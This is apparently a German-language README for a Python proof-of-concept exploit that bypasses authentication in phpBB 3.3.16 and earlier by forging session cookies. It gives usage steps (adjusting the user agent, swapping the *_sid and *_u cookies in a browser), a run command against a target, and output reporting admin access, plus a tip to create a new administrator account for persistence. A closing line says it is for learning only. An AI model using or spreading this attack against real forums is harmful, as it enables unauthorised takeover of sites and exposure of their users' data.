
Python-Proof-of-Concept-Exploit, das die Authentifizierung in phpBB 3.3.16 und darunter umgeht, indem es Session-Cookies fälscht, um Admin-Zugriff zu erlangen.
Umgehung der Authentifizierung
einfaches PoC zur Umgehung der Authentifizierung. Wenn du über den Browser zugreifen möchtest, vergiss nicht, die Variable USER_AGENT im Skript entsprechend dem anzupassen, was in deinem Browser angezeigt wird, damit es funktioniert. Verwende einen Cookie-Editor, um den Wert *_sid und *_u zu ersetzen.
phpbb python3 exploit.py https://localhost:8000 joushk
[+] Target: https://localhost:8000
[+] Target username: joushk
[+] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
[+] Session cookies obtained:
phpbb3_cl7ge_u: 2
phpbb3_cl7ge_k:
phpbb3_cl7ge_sid: 4823a1ffeea59187eb31be1809ec0fd3
[+] User ID: 2
[!] User ID is 2 – default admin account.
[!] EXPLOIT SUCCESSFUL!
[!] You now have admin access.
[!] Note: ACP may still ask for password if re-authentication is enabled.
[+] tips: new create user and add to administrator group using bypass account auth and login to ACP Successd
[!!!Dieses Skript dient nur zu Lernzwecken]